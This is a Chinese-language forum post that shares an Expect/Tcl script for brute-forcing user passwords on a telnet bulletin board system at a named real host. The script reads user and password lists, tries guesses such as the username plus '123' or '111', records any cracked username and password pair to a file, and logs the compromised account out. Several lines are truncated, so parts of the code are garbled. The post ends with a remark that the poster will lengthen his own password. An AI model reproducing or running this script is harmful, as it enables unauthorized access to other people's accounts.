下面是代码:
##cut here###################################
###-----------------------------------------------------------------##
###参量设置
###参量说明：HostName要登陆的机器；userfile用户列表
# wordfile密码列表 logfile结果记录
# offsetfile用户文件当前偏移量
###-----------------------------------------------------------------###
set HostName "bbs.gznet.com"
set userfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\user-nease.txt"
set wordfile "C:\\Program
Files\\Expect-5.21\\script\\word.txt"
set logfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\log-nease.txt"
set offsetfile "C:\\Program
Files\\Expect-5.21\\script\\nease\\offset.txt"
###-----------------------------------------------------------------###
#Action函数输入expect列表和send列表，然后完成动作过程
#成功返回1，超时返回-1
###----------------------------------------------------------------###
proc Action {ExpectList SendList} {
set listlength [llength $ExpectList];
if {$listlength!=[llength $SendList]} {
puts "the expectlist !=sendlist";
exit 0;}
for {set i 0} {$i<$listlength} {incr i} {
expect {
[lindex $ExpectList $i] {send [lindex $SendList $i];}
timeout {return -1}
}
}
return 1
}
###-----------------------------------------------------------------###
#MyTrap函数在程式被中断时的工作
###-----------------------------------------------------------------###
proc MyTrap {} {
global userfileid
global wordfileid
close $userfileid;
Reset;
exit
}
###-----------------------------------------------------------------###
#SaveToLog函数将猜中的用户和密码保存到文件
###-----------------------------------------------------------------###
proc SaveToLog {user word} {
global logfile
set logfileid [open $logfile a 0600]
puts $logfileid "user=$user password=$word";
close $logfileid;
}
###-----------------------------------------------------------------###
#QuitBbs函数是离开bbs，超时未能离开时，reset，然后返回 -1
###-----------------------------------------------------------------###
proc QuitBbs {} {
send "\r";
expect {
"..." { send "\r\r\r\r\rg\r";
send "!\r\n!\r\n!\r\n!\r\n!\r\n";
} #"!\r\n"是快速离站字符。
timeout {Reset;return -1}
}
}
###-----------------------------------------------------------------###
#Reset函数将旧的进程杀掉，并等待其结束后返回
###-----------------------------------------------------------------###
proc Reset {} {
global pid;
exp_kill $pid;
expect eof;
wait -1;
}
###-----------------------------------------------------------------###
#Breakinto函数，暴力破解
###-----------------------------------------------------------------###
proc Breakinto {user wordlist index} {
expect {
"):" {send "$user\r";}
"Connection closed by foreign host" {return 0} #返回0值，说明被正常关闭连接
timeout {Reset;return -1}
}
expect {
"错误的使用者" { send "\r\r"; return 1}
"请输入密码:" { send "[lindex $wordlist $index]\r";}
timeout { Reset;return -1}
}
expect {
"密码输入错误" { return [Breakinto $user $wordlist [expr $index+1]];
#这里是个递归过程
}
"ENTER" { SaveToLog $user [lindex $wordlist $index]; #猜中后，保存
QuitBbs; #并使该用户离开bbs站
return 1
}
timeout {Reset;return -1}
}
}
###-----------------------------------------------------------------###
#TryToLogin函数 从XX bbs站转接到XX站
###-----------------------------------------------------------------###
proc TryToLogin {user wordlist index} {
expect {
"返回)" { send "15\r";} #这是蓝天到东莞的BBS连接服务
timeout { Reset;return -1;}
}
return [Breakinto $user $wordlist $index];
}
###-----------------------------------------------------------------###
#Go函数是暴力破解的循环主体
#发动过程是：调用TryToLogin函数从XX站的bbs网络连接，循环地用不同用户去连接XX站
#凡是返回-1值，就说明有错，就reset
###-----------------------------------------------------------------###
proc Go {userfileid wordlist} {
global offsetfile
set flag 0;
while {[gets $userfileid user]>0} {
#记录用户文件的偏移量
set offsetfileid [open $offsetfile w 0600]
puts $offsetfileid [tell $userfileid]
flush $offsetfileid
close $offsetfileid
#生成username+123和username+111的密码
set word1 [join [concat $user "123"] ""];
set word2 [join [concat $user "111"] ""];
set tempwordlist [linsert $wordlist 0 $word1 $word2];
set index 0;
while {1} {
set flag [TryToLogin $user $tempwordlist $index];
if {$flag!=0} break;
set index [expr $index+3]
if {$index>[llength $tempwordlist]} break;
}
if {$flag==-1} {return 0;}
}
return 1;
}
###-----------------------------------------------------------------###
### main函数
###-----------------------------------------------------------------###
#进入蓝天站的响应列表
set expectlistGZ [list "):" ":" "ENTER" "..." "上次连线" "..."
"精华公布" "请选代号"];
set sendlistsGZ [list "YOURNAME\r" "PASSWORD\r" " \r" "\r"
"\r" "\r" "s\r" "2\r"];
###-----------------------------------------------------------------###
#进入东莞站的响应列表
set expectlistDG [list "login:" "):" ":" "ENTER" "..." "..."
"上次连线" "..." "(G)oodBye" ];
set sendlistDG [list "bbs\r" "YOURNAME\r" "PASSWORD\r" "\r"
"\r" "\r" "\r" "\r"
"\033\###-----------------------------------------------------------------###
#打开用户文件和密码文件
set userfileid [open $userfile r 0600]
set wordfileid [open $wordfile r 0600]
#读出密码文件，生成密码列表wordlist
foreach word [split [read $wordfileid] \n] {
lappend wordlist $word;
}
close $wordfileid;
#读出用户文件偏移量，并使文件指针指到偏移量处
set offsetfileid [open $offsetfile r 0600]
gets $offsetfileid Offset
seek $userfileid $Offset start
close $offsetfileid
set timeout 15
set pid 0; #spawn出来的进程id,在Reset函数中有调用到
trap MyTrap {SIGINT SIGTERM}
while {1} {
set pid [spawn telnet $HostName]
expect {
"广州蓝天站欢迎你" { if {#Action返回-1说明登陆时超时失败，要reset,然后再循环
timeout { Reset;continue} #连接超时要reset，然后循环
}
expect {
"Escape character" { if {#Action返回-1说明登陆时超时失败，要reset,然后再循环
timeout { Reset;continue} #连接超时要reset，然后循环
}
if {[Go $userfileid $wordlist]} break; #进入站后开始猜密码
}
puts "ok!"
####cut here#######################
我要赶快把自己帐号的密码改长一点了。